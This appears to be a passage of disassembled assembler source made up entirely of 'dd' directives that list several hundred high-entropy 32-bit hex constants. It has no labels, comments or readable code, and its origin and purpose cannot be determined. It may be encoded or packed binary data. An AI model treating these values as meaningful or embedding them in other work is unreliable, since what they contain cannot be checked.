		dd 4BD57001h, 0E232ACA7h, 859DF5Ch, 33916841h, 0A157C551h
		dd 28C38000h, 694E8EFAh, 14B06CCh, 48704414h, 6FF30EE9h
		dd 939F22F8h, 6C9EA528h, 0FBE6139Bh, 98EE4116h,	7C4ADE16h
		dd 681B70FBh, 6F9165BAh, 0E001C7A6h, 59145D21h,	0B64ADFFCh
		dd 0D0162DDh, 8045F609h, 4DF21DCAh, 11029D05h, 0C8012821h
		dd 73078A2Dh, 0F4A1C13h, 0B313B5CFh, 71412AFh, 512EC028h
		dd 0E3C72912h, 58080995h, 5ADBF400h, 9E983FBEh,	0D40945FEh
		dd 80F12155h, 0C413E909h, 389660E1h, 0D070333h,	58CF2934h
		dd 28B00819h, 0B4F5AC2Eh, 0A4B7E9BFh, 0B746B8BFh, 36F06841h
		dd 308A5C2Ch, 0C90581B6h, 0E93B184Fh, 44D46A52h, 3D71CEAAh
		dd 0E9570950h, 2CFB508Dh, 1F9A2235h, 0A3006543h, 33A5311Ch
		dd 0F550D990h, 93F5807h, 0C8EC4A6Fh, 0D0DA04D3h, 840AFD93h
		dd 891F6FB1h, 0B0561333h, 81D78650h, 0B9B46E05h, 4A8E985Fh
		dd 7331BA68h, 33891011h, 719E66B2h, 639ACAFCh, 0A1E9BE4Ah
		dd 99FDF07Ah, 0ED1ADE2h
		dd 0EA77BC28h, 47F61F12h, 5A6F1BFh, 55428008h, 5A7B7CBDh
		dd 0B1E9193Ch, 6BC379A4h, 0BD7727ECh, 39F3D320h, 9B5E3BD4h
		dd 0BFB541EAh, 6ABC8626h, 5B568CB4h, 0DC008D52h, 3748AE17h
		dd 4AF4F1Ah, 0C1EF01A6h, 0BB4E4DB5h, 0AFA0B6Dh,	0C17A05B3h
		dd 2A72B1AFh, 0B0F27397h, 0C9EE7D19h, 0B520A2D6h, 95C017E9h
		dd 50D7D5B2h, 0BAC340E1h, 0A5244A5Eh, 0B482F2AFh, 5E867EF9h
		dd 0F077211Ah, 7361282Dh, 4A4E13B3h, 2B9922Fh, 0C976CDFBh
		dd 9DFE6750h, 0AD518595h, 9FFB817h, 0F5F629DAh,	0BD42D545h
		dd 7ED831ADh, 542800E3h, 32336827h, 9E4F5195h, 6FA28155h
		dd 0EC5D56C2h, 0C74FE9E8h, 4CE81EC4h, 0FA262E16h, 0C3304521h
		dd 0EB8B0105h, 6B069562h, 8128594h, 20265808h, 9BE173E4h
		dd 0FA8C0743h, 1859F9FEh, 6808BFACh, 0F15E16F9h, 6CB06EC8h
		dd 114C4FCh, 0F9BC83F3h, 0CD312518h, 0C4FD879Eh, 9FA2B18h
		dd 0E103F966h, 6510E8E9h, 6FA77F80h, 82E7AD4Bh,	7DCE55C5h
		dd 2FD859C0h, 6308DA2Ch, 5075D907h, 93EFD113h, 40142CE7h
		dd 0E6BF20F2h, 0AE7B975Fh, 0E9BB3444h, 2B1581E7h, 0B36A2540h
		dd 0BE26609Bh, 1C55AC1h, 19CE816Fh, 3B678B08h, 0EB10C6E6h
		dd 0B0EC735Dh, 0E520E74Eh, 243675BAh, 0F1D7199h, 1D211AAh
		dd 59EEE299h, 26964728h, 0AC62483Dh, 558268F6h,	0B57405E6h
		dd 53C5801Ch, 0FBA9F5CAh, 3CFB724h, 0FAE951D8h,	21F9577Eh
		dd 4B25D109h, 0B803E6EFh, 14C6718Fh, 0AF6BE76Ah, 29A9B44Ah
		dd 2E2FFD5Ch, 0C798A3C2h, 1742EF3Ch, 0AA268F40h, 0C3D745CCh
		dd 4BD8B1Ch, 0E9FB21B8h, 10779227h, 17C70527h, 0BC70AB45h
		dd 38074161h, 2900D20Ah, 0C24B1CBAh, 60D0B86Ch,	94EAB508h
		dd 0DE7BFEE0h, 3A024027h, 29E05530h, 64BF5F29h,	3C0C2024h
		dd 6960F9Dh, 938DBC2h, 3AEF840Fh, 50056AC4h, 275C0C68h
		dd 1B4853A8h, 49C42BBDh, 1333F44Ch, 2C02EB45h, 16F25657h
		dd 1A940916h, 255CF068h, 29427F13h, 0A7D421AFh,	84FA051Fh
		dd 93DBEB08h, 0C22DE913h, 0E3608069h, 5A5FD328h, 7C612EBh
		dd 0FE11EB4Eh, 1C12936h, 600B2D9Dh, 70B559E3h, 5FDA808Ah
		dd 23DD303Ch, 0B40C1B0Ch, 5C00545Ch, 0B3AD4F8Dh, 4EB3FBA4h
		dd 973ECC18h, 0D8E0BAC3h, 1EBDFA1h, 123BA2B5h, 8F00465h
		dd 9941F20Bh, 8A6F57DFh, 2FD50EDCh, 44CAD0A0h, 6AE9410Ch
		dd 0BF5297DEh, 5F7AE7B9h, 5FCC097Dh, 0A5060710h, 0FD0126C5h
		dd 57FBC413h, 5F8CECD4h, 1461C5E6h, 343719E9h, 8072ECACh
		dd 5966AF18h, 1B86B20Ah, 8CBFEDCh, 14B8123Eh, 0F9E0C4h
		dd 5AF4302Ch, 2DE18851h, 0CAE17FE9h, 0A4C2385Eh, 9C918905h
		dd 10A6F3BEh, 5B2C8E84h, 0BDAD2277h, 60EA4E00h,	809DA270h
		dd 844B886h, 4246C95Ah,	0C1800540h, 6816A3B8h, 81A854C8h
		dd 0A5F5784h, 0B1BCAC31h, 2CBB3338h, 0B05F6AD4h, 0D2861FCh
		dd 83B98AE9h, 69B35332h, 0FD31F380h, 17E1ED04h,	0FFA50DF8h
		dd 0AE4D048Fh, 0BB9DB5C4h, 5324AFDAh, 3B4D0002h, 7BE93560h
		dd 8813009Fh, 5B2858C7h, 0B492F8F8h, 0DCFCB8AEh, 84E2E9C5h
		dd 9CC484FCh, 0A713127Ch, 843B37BAh, 2FD1BE43h,	1D04C172h
		dd 2F6DCCDDh, 6C9FE529h, 65D54B7Dh, 8D04EEEBh, 0A8177D03h
		dd 0E6150F6Ah, 5DCF6670h, 0FE281F55h, 5B5D35Bh,	0C8102B8Eh
		dd 6C175588h, 84AB5CBFh, 0C081A58h, 5EABC975h, 9A639D28h
		dd 3C1E7491h, 6267E4C0h, 0E8438E67h, 0E313B8F1h, 0EB0B4B58h
		dd 1AF60677h, 0EF9A4EE7h, 68BFA6D4h, 3985391h, 7D27C72Eh
		dd 6C7A41CBh, 0F6EE8000h, 7B40DBB0h, 408E2768h,	50C1B27Eh
		dd 0BDA22E9h, 0CF33B85Fh, 45408213h, 0F75F3102h, 52D3FF05h
		dd 66DAD8AFh, 46BE3013h, 5478DEABh, 41BA4430h, 9E95148h
		dd 0FDF21CD3h, 1519DA80h, 8900D917h, 0F0BA5EF1h, 26500931h
		dd 0C897CA29h, 1FE90BF1h, 0E8E4754Bh, 9D82E5E5h, 0B5E7B43h
		dd 89A98DE9h, 35EF17Fh,	0B1514CCBh, 0AED1B5EFh,	0B2AAC713h
		dd 0A3B6E121h, 0FEFE053Fh, 29BB0EC6h, 0E95AF103h, 56FB144Fh
		dd 0AB940738h, 21B9306Eh, 0F52FE9C7h, 0BD1C5336h, 0F5253193h
		dd 7BC16170h, 0F2AB0C94h, 4CE98585h, 59286EA8h,	0F8217B4Ch
		dd 7780BD3Bh, 7A3F1F2Dh, 4A40AF3Eh, 0F7138CEDh,	0CD5101DAh
		dd 0F417607Ch, 0D99751DBh, 0DF469C8h, 5A685358h, 0D2D6BCBEh
		dd 6C8902ADh, 277E5B57h, 68108C66h, 0E90B4C0Dh,	4E5FDB34h
		dd 28681284h, 106DF335h, 0A66294Ah, 0F5D3D67h, 502C25C4h
		dd 0CA114A5Dh, 25F15829h, 9D18D88Dh, 7C891CFFh,	20E92601h
		dd 2953A528h, 0C820B222h, 0EE32E47Ch, 0FEF325B4h, 66C303DCh
		dd 9C0E0CD3h, 0C021A4E9h, 3407E003h, 13C680AAh,	0AFA89464h
		dd 65F028DDh, 9171B57Fh, 482D528Bh, 9ACC364h, 291F0644h
		dd 2B91685h, 5814E908h,	41D26DB2h, 1582F44Bh, 0B0767D5Ch
		dd 8BEB5CCBh, 7749A22h,	21D6C0CBh, 805CBE0Eh, 1164F16Ah
		dd 0D995FD31h, 0F3012DBAh, 20E8835Ch, 351DD86Fh, 0C20046F9h
		dd 319EEE81h, 29141E7Eh, 85039C6h, 0A2C29558h, 4CEC741h
		dd 0B7882AFh, 270B99A9h, 86B1A957h, 97249E99h, 0D8DF9742h
		dd 0A8E70940h, 0B5D95AFh, 203078CEh, 5648166Ah,	2DE00744h
		dd 0A5C46433h, 0AE6953AEh, 6296920Bh, 0D52ACAC0h, 90164F48h
		dd 552A7812h, 174563E0h, 0B1353F04h, 5D0701A5h,	53FF2B56h
		dd 0AA29AA3Ch, 88E5ED2Eh, 77E90433h, 4043F72Ah,	2870AE0Eh
		dd 0A1967795h, 2CF0652Eh, 0B9ECEA96h, 49686551h, 0C666E94Bh
		dd 0E8D9F836h, 766BB72Dh, 8052BBADh, 0AB93C2ECh, 4A68637Ch
		dd 11FB91BFh, 7A1027DDh, 716CEA2Fh, 0F0FC2534h,	9E4C03D8h
		dd 545262CDh, 5DEB7BF4h, 0DFA8E738h, 5247782h, 0A8F384F4h
		dd 60CA4F1Dh, 756857C1h, 0CF7B3C6Fh, 4C9B3436h,	4AAB30E4h
		dd 2DD934BAh, 0DC42BCE6h, 4112AAF6h, 1F9C1E03h,	0E9318858h
		dd 0B76B85Dh, 37162B0Dh, 5A638057h, 880FA805h, 549FFC7Ah
		dd 1E38E9FDh, 44B70585h, 4BB8F060h, 0C086F864h,	0A43586EEh
		dd 0FE0CD325h, 4E5B27C3h, 60E4B90Eh, 3702A1ECh,	0D0017646h
		dd 0B541081Ch, 0A35F166Ch, 0F10676CBh, 8FA2C0Ch, 39FE0818h
		dd 5F006484h, 297CCB18h, 98ACB3CEh, 283B6AEEh, 162CD06Fh
		dd 0BD18D4E2h, 45E267B6h, 6254413h, 5AE46301h, 0C8112CAh
		dd 0EE09EC98h, 50C27031h, 1C68560Ah, 0C7C1C83Fh, 0A6208D07h
		dd 0B92F4A0Fh, 0A335D278h, 0A84B784h, 0BB2F01C8h, 3531624h
		dd 0E5B746D8h, 0D9E2CF82h, 54500B75h, 8A767368h, 295E0DC2h
		dd 896C71F3h, 0CB591C87h, 97BA5D96h, 0CE7F69E6h, 0CCBEC4F7h
		dd 0ED4FD2C6h, 0B2F58580h, 3809307Dh, 0F5E98951h, 2BB31F61h
		dd 565DDA0Bh, 6842CB54h, 0A730E75Fh, 4489E57Dh,	9D8D043Ch
		dd 172BCAEBh, 0B4076B7h, 5166CA28h, 0FA8EC4B5h,	63BF003Ch
		dd 2487B45h, 55D7CF81h,	0E17607EDh, 194FF10Bh, 447A08CAh
		dd 0EA02A2D0h, 0C1A81456h, 0B540C107h, 0D016E42Bh, 3AF63516h
		dd 5F01922Dh, 5C244A9Ch, 0D5E9985Fh, 7E495AD1h,	0F0E989E1h
		dd 6DD79829h, 79E985C1h, 42E1B388h, 0F568093Dh,	292B662Ah
		dd 98A33BA1h, 15816EBFh, 0BB535000h, 70E46D3h, 0EC3609B8h
		dd 0F17D28A0h, 10E9613Bh, 71813D72h, 5E40333Ah,	520BF3B8h
		dd 3A04CA89h, 0C510C77h, 0BB929703h, 19BD5E68h,	967E5582h
		dd 4A0CE52Fh, 0C8FC2DE8h, 0A5AF0CB4h, 44D557F2h, 0A1F0B875h
		dd 0A820EF59h, 0FF314E68h
		dd 0E056FE22h, 76CB02Ah, 22BE459Fh, 0E93BA013h,	3BB710B5h
		dd 0D54CDB3Dh, 1F68C831h, 9E5D1CADh, 9A6F2D62h,	0C9023327h
		dd 0E868EA8Fh, 2D6B7425h, 0E7CA378h, 2C75B4Bh, 0BFAF0256h
		dd 0BA7A3996h, 559D3112h, 176AB0FEh, 73F26D4Ah,	52924021h
		dd 53267D01h, 76CAEB88h, 0C2D725FAh, 0E87E5DA5h, 4C7FA051h
		dd 0CD88FA26h, 1299DBBDh, 0C1C3E487h, 83CBD2B7h, 5628EABDh
		dd 0A95F12FAh, 0CB68E1DDh, 0BD19CF20h, 7382A85Eh, 0FD4A5254h
		dd 0C80054Eh, 5C96A9E9h, 28B35307h, 0F4BDDA15h,	0A4511627h
		dd 0C126E989h, 0C32F0921h, 3FE09C58h, 0FA4A6842h, 0C5816BBDh
		dd 2021C874h, 4E16EC23h, 1100690Bh, 139F5FB7h, 2060F9C1h
		dd 1C5109E1h, 547E4E2Ch, 346C2805h, 1FCB9EC0h, 473EFFADh
		dd 4583CD59h, 909787A3h, 2586C36Dh, 1B5A7B2h, 0A6848EDh
		dd 8B2A6475h, 351210A4h, 8EEC000h, 2852F680h, 8C25F37Dh
		dd 0A707C86Ch, 762927AEh, 5BFBEE75h, 414F267h, 7F7C2878h
		dd 0AD97180h, 87766BB5h, 0FCC11BC4h, 8481C13h, 6C5E53Fh
		dd 69010C08h, 0E94E4B25h, 32808022h, 1619172Dh,	3A480D40h
		dd 0EF7824CAh, 0FC826B0Fh, 0A497D36Fh, 452925Ah, 1DFA46CEh
		dd 0E8ED914Ah, 0EDC65725h, 859E5FF8h, 93504F8Ah, 0D65F77Ah
		dd 0FC124826h, 70894CE9h, 0B85CD8A4h, 5D59A2F4h, 0A432471h
		dd 0FDE34E4Ch, 715E2D9Eh, 0CC5AC255h, 68E2C67Ah, 550AC025h
		dd 0E913609Eh, 0DABD51E3h, 3A30E9D0h, 0C3BE56A3h, 25B8E1EEh
		dd 58C8F601h, 6E92976h,	42388D3Ch, 9E3AF0DEh, 0DEB68417h
		dd 0D85A4D09h, 6C3217D7h, 0AA17AF6Fh, 8BB42AEh,	57C192C8h
		dd 0CF31CCF9h, 0FCA9F597h, 0FB3F300h, 81382A9Ch, 4B488EE3h
		dd 0EBC05D7Eh, 53F07159h, 0FC6A4F68h, 44E9C290h, 2DDB83F8h
		dd 153A882Eh, 6DF0E340h, 4EF697B8h, 0B269A940h,	4B23BC7Bh
		dd 0F6258E58h, 0EFB25633h, 3F1BDB66h, 0C126E677h, 0AFA47EFBh
		dd 5DA34513h, 1017BA18h, 0BB1E4EBFh, 3B97FB25h,	8ABA4556h
		dd 3A347F2Dh, 13F01F77h, 0EF59EA02h, 349E1875h,	5455C92Ch
		dd 7E2582F3h, 343901B7h, 3ED78935h, 20386DEAh, 0F39522C2h
		dd 0E621C257h, 0F6FE4E77h, 0AE034B69h, 4910F58Ah, 0B9C3408Fh
		dd 6EEA6D16h, 0B5E32E00h, 10471E05h, 137166E9h,	0FE09DD01h
		dd 0C0DDD6F9h, 6C33032Ah, 0FFF53118h, 0B5ED06A9h, 7A453B19h
		dd 0DD870B82h, 0F098EE94h, 0CD5C3C48h, 4EEAB05Ah, 0A9C02CB4h
		dd 0B0B84109h, 0AFA16AE1h, 0FE50AE73h, 303A4061h, 0CACBFA5Bh
		dd 34D0507Ch, 0B5547F53h, 762F284Dh, 0BAB45808h, 0A82F5581h
		dd 0CAEDA2DFh, 0DC8A7FAEh, 0EF5D920Ah, 307FD0F7h, 0CAD1EC25h
		dd 0F33D1DCEh, 0B1FA9334h, 0ABD2E1ACh, 80436F1h, 5A46FCAAh
		dd 0A59DEAB6h, 0E9C152D9h, 1128191Dh, 377168C3h, 0FFE1D25h
		dd 7727492Dh, 0CFA3E033h, 5E471B2Fh, 4921C2ACh,	5BB86468h
		dd 294B8E05h, 71205D8h,	76AE1A01h, 8AB95085h, 0CC7AC281h
		dd 2B053EE9h, 608E5B8Ch, 0EFC6F740h, 194ACCEAh,	0C26F09EAh
		dd 27A495FEh, 9DA1F227h, 68194170h, 0EAC36E4Dh,	0AA4E3B3Ch
		dd 98FF331h, 0B93FA84Dh, 3B084143h, 841BCF8h, 58CCF83Bh
		dd 0E09620A9h, 5D7EEEC3h, 6882518Dh, 5A6C1805h,	8BC3454Eh
		dd 0DDF7A95Bh, 1682D360h, 347EE07h, 113822E2h, 2CEB2991h
		dd 0B3ABA445h, 0A0572660h, 105ABB81h, 0FC6B7099h, 764D058Dh
		dd 0E7091634h, 7404E59h, 0F60BC980h, 45F059D1h,	68804BF0h
		dd 62CE0B8Fh, 0CE2A5840h, 82FC1351h, 914E5A37h,	87A9C35Fh
		dd 5E066882h, 0E99230DFh, 838A6597h, 75B1AAC7h,	16735D60h
		dd 0A17FBC3Ah, 1AB06EC9h, 98D930E9h, 1317E72Fh,	0D74C8F2Dh
		dd 0C2FCB5A4h, 2F5862Ah, 7EB608h, 7F7340BAh, 9D27E37Ah
		dd 24C67181h, 73BE508Dh, 430A5A02h, 545ED3E9h, 6E6861DBh
		dd 7377C238h, 45752596h, 95CCADFEh, 0E906D485h,	2C9A6DCh
		dd 4725A9C1h, 505F5F46h, 0BFDB3F3Ch, 0E1CAFECBh, 80575385h
		dd 283A6CE9h, 62635195h, 0AD002E57h, 0E0207F83h, 4184170Fh
		dd 0E9D042B2h, 595D9AB8h, 9768E1F5h, 0BDB22A2Ah, 0A404AED3h
		dd 4122312h, 0BF0C7F9Bh, 37804342h, 0EDE0841Ch,	51A6B8AEh
		dd 13AB2BABh, 5F0442B2h, 745D2C87h, 0E8D750CFh,	32BFE49h
		dd 1D4CCFF5h, 4C5A781Ch, 8250A6B5h, 0C0B6B95Dh,	1DE87F8Eh
		dd 3F4001B0h, 14D513BAh, 0EA2200ABh, 1F2E2385h,	270B51B8h
		dd 0DC4F7A72h, 30500C5Eh, 5A720430h, 0B3530909h, 8158F5C5h
		dd 36EADA73h, 0C82BE913h, 53EFB164h, 0D61D087Eh, 440EB801h
		dd 0F07F785Ch, 387105CAh, 0E946F709h, 31A82081h, 0B6525FFAh
		dd 4CEB9D7h, 0EFD1F730h, 0AD1856FCh, 8CCF6BE2h,	7EA85F1Eh
		dd 0F6C2DEFEh, 688DC021h, 0FA579A90h, 0B4AF5FA4h, 0E4409BE9h
		dd 23D002BEh, 0F7560A73h, 465E1260h, 1DF4E5Ch, 3D17F00Ch
		dd 92F0EE9h, 3C0958AFh,	544A844Ch, 20A979BEh, 6182E076h
		dd 882EEF86h, 0DE6903F0h, 147221EFh, 0DC32FEEAh, 0F7665C05h
		dd 871EC1E1h, 4B846345h, 0E9A528AAh, 0C7C31327h, 0C5010194h
		dd 794833E9h, 91032C45h, 0FF5F6225h, 6BE61761h,	3C4E248Ah
		dd 8537E9E6h, 6765D3C0h, 175DE0E0h, 0EFEE0166h,	0BBE95061h
		dd 0D03F8F7Ch, 0B4F68002h, 53B9F028h, 7A18D968h, 1B41CE8Dh
		dd 840565AAh, 36C819Ah,	0E1F3D87Ah, 605C7E17h, 0E95237C0h
		dd 11F64AF4h, 3616546Bh, 419EF30Ah, 2E9D62B2h, 0E3044DC3h
		dd 74BAE42Bh, 0E78BEB10h, 35D1AF4Bh, 0EC39E716h, 8FF7C32Fh
		dd 775847Eh, 0B54A2BAh,	0DFB0030Bh, 6D22CE80h, 0A4AE10B6h
		dd 0A4850E5Ah, 9AA1F6ABh, 1E61479Bh, 8807E043h,	102C5AF1h
		dd 0DFBAD8A2h, 70B2846h, 296A7A19h, 0D73277F8h,	0E71F9A05h
		dd 3B4B7BC6h, 7E7CA85h,	50F4680Eh, 158BBE16h, 2333C58h
		dd 0B7B9F51Fh, 0CF46AC8Ch, 0A01976CFh, 23B6616h, 56916897h
		dd 17062AAFh, 54091021h, 0FFA438E9h, 0EE31BA90h, 0C466739Fh
		dd 0FE88FB4Eh, 0DCA5A059h, 1D15253Dh, 2BDA8AFh,	0F9319B1Eh
		dd 0DCA6BA71h, 0ED8CC117h, 0FA880552h, 0BE3C9468h, 0F8D5EA8Ch
		dd 0D8CCC9E8h, 0CCC1AE7Dh, 0F67426A3h, 0B51F67ACh, 9C7DC2DFh
		dd 9FA1F357h, 0EB7652E8h, 25DBCA45h, 8DC441F8h,	47E93115h
		dd 0C85DAC53h, 26555AD6h, 0B0C5152h, 3C011D54h,	0A4CBE1E9h
		dd 11EC44Eh, 0A8C3AF13h, 75E7F25Ch, 0CE57E042h,	945B25BDh
		dd 538693ECh, 0ADB1DE9Fh, 45259AC7h, 156886ABh,	3A2E6112h
		dd 0E6839C2Eh, 0C4B753B9h, 62CC80BBh, 59ECCF30h, 4490FE74h
		dd 0B7209EBEh, 0B9392843h, 21220A89h, 0BE59F5D6h, 5EC62DA0h
		dd 0BBAE160Ah, 1374479Eh, 1C286D6Ah, 0FB034922h, 0C61BC582h
		dd 10F4794Eh, 5AFB454Dh, 734604BAh, 76FF977h, 57F40939h
		dd 1608A0E8h, 0D25CB5E9h, 5209E500h, 6A2B2556h,	0DFDDCEF5h
		dd 0B205C907h, 68665698h, 0F40EEF2Fh, 88E541DBh, 0FA5AF1F4h
		dd 0C34AC855h, 0B1285EECh, 4940D623h, 0AB94FEF4h, 0DB7B419Dh
		dd 8D8C7E71h, 8690FC05h, 2E28E4AEh, 227BD6F6h, 2F9F98DBh
		dd 3A4C3FEAh, 842B0C48h, 0B2ECDDA2h, 0E7755AA2h, 65D4A712h
		dd 38205851h, 0AC0312AAh, 0EDEB806Bh, 0D924EF4Dh, 5D17933Ch
		dd 3210B309h, 0CA29AC09h, 0A80797EDh, 269A624Ah, 0D12D0045h
		dd 7CF70843h, 250F427h,	718A5FBCh, 0CA1D4B7Eh, 0D8F10A52h
		dd 5B5EBCAFh, 18E9842h,	0E158575Bh, 2FF33849h, 6F0771BFh
		dd 4557FF73h, 0B85518A0h
		dd 611F12EBh, 0EB38077Bh, 674F9316h, 0D103CBB1h, 0E4823B27h
		dd 4EFA6802h, 0EF1EC312h, 80A80B5Bh, 58B8FB29h,	59398227h
		dd 5D020C2Bh, 0DF26C30Ah, 0CB3AA54Dh, 0E9FD88EEh, 123D9F49h
		dd 0F01EA80h, 0CA28C7C2h, 0EEC110BAh, 152CBF40h, 0A591E3B7h
		dd 0FD50C992h, 9026ADE7h, 7491E942h, 0FB902C6h,	0BA61145Eh
		dd 0E4C53EA8h, 1616B938h, 0BB019B0Bh, 8B5E980Bh, 25E8E0E0h
		dd 5DDD1972h, 0E8061441h, 8F0BCBF1h, 84515CD2h,	26D4C42Eh
		dd 5A30DBFAh, 0BA902DB9h, 0BB07FE4Ah, 0FECB99E9h, 0E82141D8h
		dd 2DBF2A8Bh, 9C373096h, 0B85C5540h, 0B2FF53Dh,	3C502921h
		dd 25FD7CB5h, 9DEA945Fh, 68845759h, 54CD110Dh, 0CB6CFC7Ah
		dd 0DA8C4356h, 9AC6FDC4h, 0E8D55F27h, 0CD58606Eh, 20248D53h
		dd 0E199E8E7h, 85AFEF13h, 92D10498h, 0FEBE3020h, 42E9099Eh
		dd 45FDF731h, 0FB073748h, 8EE9BE01h, 0E8566452h, 3BA5055Ah
		dd 9D06B5Dh, 0AD395040h, 5633176Eh, 0FAC7000Fh,	0E9737A71h
		dd 0FF37892Ah, 1EAFF307h, 0E0AB0BA8h, 0C2D69853h, 305AEAD9h
		dd 0CFF6A561h, 0FE79E81Ch, 880F67E6h, 5D069D8h,	99AE132Fh
		dd 36B8FC0Ch, 42D32100h, 0F708E8C1h, 58A9BED8h,	0AE00404Dh
		dd 736C0535h, 2801020Ch, 90072DD0h, 81C478E2h, 87F93083h
		dd 5ABAFE5Ah, 0EE400EAAh, 0DC4C2B66h, 681B5041h, 0B27EBF2Bh
		dd 0D5300217h, 0B40FD4h, 21C7815Dh, 0E9EA394Ch,	48DA1425h
		dd 270A65A9h, 0C1765805h, 3546CF03h, 66AEBC1Eh,	8EE153E9h
		dd 2A5EEEh, 171B0D08h, 25230263h, 276F18AEh, 0A757EB61h
		dd 0B8ED65Ch, 35D94443h, 0CA107C80h, 3F542558h,	0E993AE69h
		dd 6864803Ch, 865F236Bh, 5E00EECh, 62271AC2h, 2081542Eh
		dd 5F592507h, 0CA0BD7DCh, 0ADBCD104h, 88E45074h, 0AB3A4699h
		dd 57052A72h, 845D03CAh, 16BBF139h, 0C8CAEF46h,	805AF5Fh
		dd 0E1FABE56h, 80E355E2h, 834A7537h, 0C30C6961h, 1FCC727h
		dd 83AD0CDh, 5825234h, 0C1CA8915h, 7F0FEF14h, 0D641B092h
		dd 0A2F80822h, 0F8AD892Fh, 1C22CC0h, 24A308C2h,	0E5B1A230h
		dd 0FD522DE9h, 7E50A799h, 22F35B8h, 0E1D4E5Bh, 6B180Bh
		dd 0B66E962Bh, 1E2EC05h, 104833CAh, 2E80D6E9h, 680B9DB6h
		dd 0D2FC230Ch, 0D9E956C1h, 9F29ED64h, 2955A809h, 5828FC35h
		dd 961B697Ah, 202E5B53h, 8104C1B2h, 7F5003CEh, 5FEEE181h
		dd 10EF7EF4h, 27419E9h,	60CAD105h, 0F5C257F4h, 684128DEh
		dd 263C5651h, 0B6775489h, 8F5827C1h, 3AED975Dh,	1254B64Bh
		dd 9BF0C2E9h, 60E4EC53h, 31EEBD28h, 437B3F38h, 512B7130h
		dd 240B46E2h, 0CAF4B03h, 0C30D0A44h, 27E3729Fh,	59C004E9h
		dd 18172EBEh, 31D2BC1h,	0C34AC9h, 17ECE682h, 0B04EF8B6h
		dd 0ED851435h, 80109DFDh, 0EE17748Eh, 2DEF28B2h, 0E909D082h
		dd 7EF949h, 8008E4C0h, 0E2849C4h, 8B2C58E6h, 4904F0A7h
		dd 98FDB55h, 30F75C21h,	4EF2B513h, 0D0A8F052h, 135A5A48h
		dd 2C89122Dh, 7DA70AE1h, 3ABC6955h, 0E05EBAF7h,	6078C0A8h
		dd 0C9F5D89Eh, 3B300164h, 39740E45h, 0ED344014h, 0C25B9A0Bh
		dd 2D69FEB4h, 0FC954570h, 5C5B7A4Fh, 0D6DA6109h, 590B4F62h
		dd 535AB7C0h, 8098B707h, 73C571C7h, 5801B2A0h, 0A0055DF7h
		dd 0C74D5341h, 0AA027403h, 0D5780D01h, 6E301579h, 35E6BDC8h
		dd 8A84074Fh, 0D7AA1E85h, 0A0B7B33Dh, 2EB8162Eh, 2910FD6Bh
		dd 0FB5EB9E9h, 9F410A89h, 12B1B006h, 7AFED10Ch,	0FF515A22h
		dd 5CE6557Bh, 0BA52172Dh, 2502BAEAh, 5C8ED0E9h,	0B6B34CC0h
		dd 0EB3880F6h, 72F32CEDh, 193BD83Ah, 5176E339h,	122BCE71h
		dd 8390E7DCh, 85461F68h, 0C05DE3AAh, 4574D1BBh,	71BA0942h
		dd 4407849Ch, 521808D7h, 880CEDECh, 730F1EBDh, 72C10201h
		dd 299F1B1Fh, 545BF9Fh,	3C8567B9h, 872D0482h, 0D6695D07h
		dd 0AC05934Ah, 5EA99354h, 683B8651h, 0BC32E9C9h, 0D65B7EB8h
		dd 0C1FE094Ch, 6802F001h, 6FA1CA3Ah, 6080DFB6h,	0F09566C9h
		dd 0EAE92580h, 349B61D8h, 58D28427h, 49FF0DC2h,	0F6E25AB9h
		dd 56BBC0ABh, 95392946h, 0EEE90A48h, 0F22CBFF0h, 4527B08h
		dd 0CD741868h, 2CAB2E68h, 0BB7C3E7h, 31C5C02Fh,	0D2D1E4CAh
		dd 0F3C7EF08h, 2219BC90h, 1DFE8063h, 0E56F3624h, 24A4E909h
		dd 0F9B65393h, 52BD214Ah, 0F9F23F27h, 8678E84Ah, 5BB2DF76h
		dd 12988A58h, 0AFB8D7D0h, 0F55E55D9h, 1F173EBAh, 4AB529E0h
		dd 0DE16AC20h, 26EE5649h, 25AE59D3h, 0AE5851F7h, 6E77EA04h
		dd 76E17504h, 0A40AED2Fh, 68C23CEDh, 0D95567ADh, 0DDF6C9C4h
		dd 0B566E7D0h, 0CF311891h, 6F0113D1h, 9D346A2h,	0DB18C204h
		dd 3D49B868h, 5A378086h, 24E907E1h, 6FCC9997h, 10951816h
		dd 30262FB3h, 0C0E1C2D3h, 0D87F03EBh, 0F325E9FCh, 8545DF3Bh
		dd 69DB71A7h, 0F8297Dh,	0B6437326h, 8FC16222h, 0B0370h
		dd 410FFA64h, 0F7291254h, 64EED25Eh, 0AA821758h, 7A7E5E75h
		dd 55594276h, 82708630h, 42F65E75h, 0BF1846ABh,	0B592BFDCh
		dd 0E03C0B40h, 0ED8312C2h, 6894E001h, 594E1F95h, 78ACC91Ch
		dd 163C76D9h, 0AEF50B36h, 0E51AF5FCh, 3FC1D444h, 283B0EA1h
		dd 145ADBAFh, 41CBE3CCh, 0BE7C9E5Dh, 0CF151467h, 0FC16689Ah
		dd 0D3FFE5F6h, 0F41658FEh, 20AF26D7h, 3340D668h, 0E5C11109h
		dd 9D05502h, 5C0C7A2Fh,	819519Eh, 338BA934h, 0FD5B6D3Ch
		dd 0D8FA4EDEh, 29D220E2h, 5E822FF4h, 0C09524EFh, 0B4297609h
		dd 74E13E5Bh, 0FEE28A01h, 0F8FFEB02h, 0B70371BFh, 63D61F9Ah
		dd 951BC5CBh, 565FDF33h, 89D3A3B7h, 0E9152156h,	6C346FCAh
		dd 0A3015662h, 1C5FCF0Eh, 0B6FDBFC3h, 0A480AAF4h, 0A02720E7h
		dd 974030A7h, 0F6F4E7BAh, 58186E18h, 917697F6h,	75FA6A89h
		dd 8BF29344h, 81710E48h, 322A4DACh, 85F7F83Bh, 0AD85B5E6h
		dd 46FA5845h, 0BFF51DD9h, 81984005h, 5B4806F1h,	0E9137462h
		dd 5027484Ch, 0C999B45Dh, 7EA4607Eh, 561BBD09h,	0B8FC2A0h
		dd 0B996EF74h, 0F84F08A9h, 0BCA25E88h, 2A2441D2h, 4179D239h
		dd 84D8D781h, 0C366843h, 0C3C4DCB8h, 38310A09h,	92CAD409h
		dd 0FDA942E6h, 6DD53CEAh, 0F76604E5h, 84D981E9h, 0E1B77F01h
		dd 0FEDAE30Bh, 0EA42ACF6h, 0D80109A8h, 0E08473F7h, 0FA2F0970h
		dd 2630FE5Fh, 435E083Ah, 9B685607h, 7630B6D2h, 0DDFA88CBh
		dd 8441BD01h, 6FE80C7Ch, 6AC9AF7h, 3B226850h, 5F9F42AFh
		dd 364B6CA3h, 0D0030984h, 21BB1E24h, 9970ED6Dh,	5B41251Dh
